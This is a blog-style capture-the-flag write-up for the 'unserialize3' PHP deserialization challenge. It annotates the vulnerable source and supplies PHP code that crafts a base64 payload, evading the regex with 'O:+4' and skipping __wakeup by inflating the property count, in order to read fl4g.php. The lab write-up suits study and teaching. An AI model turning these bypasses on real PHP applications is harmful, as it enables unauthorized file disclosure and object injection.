当前位置:网站首页>Solution to the problem of unserialize3 in the advanced web area of the attack and defense world
Solution to the problem of unserialize3 in the advanced web area of the attack and defense world
2022-07-08 00:16:00 【B_ secretary】
<?php
class Demo {
private $file = 'index.php';
// Constructors , Call automatically when the variable is created ,__ Means magic method , When the conditions are met, it will automatically call
public function __construct($file) {
$this->file = $file;
//“->” stay PHP Equivalent to Python Of “.”, Methods used to call objects
}
// Destructor , Call automatically when the variable is destroyed
function __destruct() {
echo @highlight_file($this->file, true);
}
// Print file The content in , Show the document to the reader
/* highlight_file(filename,return) Function to highlight the syntax of the file , If return Parameter is set to true, Then the function will return the highlighted code , Instead of outputting them .
The whole code means that when the file is destroyed, it will output $file Code for .at Symbol (@) stay PHP Used as an error control operator in . When the expression is attached @ The symbol , Error messages that may be generated by this expression will be ignored .*/
// It will be called automatically when deserializing
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
// Change the file name to “index.php”
}
}
if (isset($_GET['var'])) {
/* Judgment variable var Is it created , Checks whether the variable is set and not NULL, This code is to detect whether it is passed get Requested var Variable */
$var = base64_decode($_GET['var']);
// take var Explain base64 code
if (preg_match('/[oc]:\d+:/i', $var)) {
// matching var Whether there is a string in
die('stop hacking!');
} else {
@unserialize($var);
// Deserialization var, This will call wakeup function
}
} else {
highlight_file("index.php");
// Highlight index.php, This is not the result we want
}
?>
The topic source code tells us flag stay f14g.php in , So we want to enter this file , that payload Need to meet :
1、 It doesn't contain preg_match Or directly bypass preg_match function
2、 Deserialization bypasses wakeup function
So we use serialization to construct a var Pass in , Let variable value be equal to f14g.php, When the variable is destroyed, it will be displayed by the destructor f14g.php
structure payload Code :
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$payload = new Demo('fl4g.php');// Create objects Demo, Its file The value is f14g.php
$payload = serialize($payload);// Serialization operation
$payload = str_replace('O:4', 'O:+4',$payload);
// Will be one of the “0:4” Switch to “0:+4” So as to bypass the regularities
$payload = str_replace(':1:', ':2:' ,$payload);
// Number of objects in serialization “1” Change it to “2”, To bypass the wakeup function ( If the value of the number of objects recorded in the serialization is larger than the real number of objects, you can bypass wakeup)
// Nonprintable white space in serialization is equivalent to %00, It needs to be in payload Medium plus
echo base64_encode($payload); // For parameters base64 Code and print out
?>
边栏推荐
- Robomaster visual tutorial (0) Introduction
- Coindesk comments on the decentralization process of the wave field: let people see the future of the Internet
- paddle入门-使用LeNet在MNIST实现图像分类方法二
- 全自动化处理每月缺卡数据,输出缺卡人员信息
- 用语雀写文章了,功能真心强大!
- 自动化测试:Robot FrameWork框架90%的人都想知道的实用技巧
- Les mots ont été écrits, la fonction est vraiment puissante!
- Orthodontic precautions (continuously updated)
- If an exception is thrown in the constructor, the best way is to prevent memory leakage?
- Su embedded training - day4
猜你喜欢
PostGIS learning
C language 001: download, install, create the first C project and execute the first C language program of CodeBlocks
全自动化处理每月缺卡数据,输出缺卡人员信息
QT creator add JSON based Wizard
Play sonar
Les mots ont été écrits, la fonction est vraiment puissante!
某马旅游网站开发(对servlet的优化)
[programming problem] [scratch Level 2] March 2019 draw a square spiral
Robomaster visual tutorial (1) camera
Install sqlserver2019
随机推荐
Emotional post station 010: things that contemporary college students should understand
Development of a horse tourism website (realization of login, registration and exit function)
去了字节跳动,才知道年薪 40w 的测试工程师有这么多?
数据库查询——第几高的数据?
Trust orbtk development issues 2022
爬虫实战(八):爬表情包
QT creator add custom new file / Project Template Wizard
STM32F1与STM32CubeIDE编程实例-旋转编码器驱动
第四期SFO销毁,Starfish OS如何对SFO价值赋能?
Single machine high concurrency model design
Handwriting a simulated reentrantlock
How to put recyclerview in nestedscrollview- How to put RecyclerView inside NestedScrollView?
某马旅游网站开发(对servlet的优化)
[basis of recommendation system] sampling and construction of positive and negative samples
Robomaster visual tutorial (0) Introduction
玩轉Sonar
Is it safe for tongdaxin to buy funds?
Preliminary test of optical flow sensor: gl9306
攻防世界Web进阶区unserialize3题解
【编程题】【Scratch二级】2019.12 飞翔的小鸟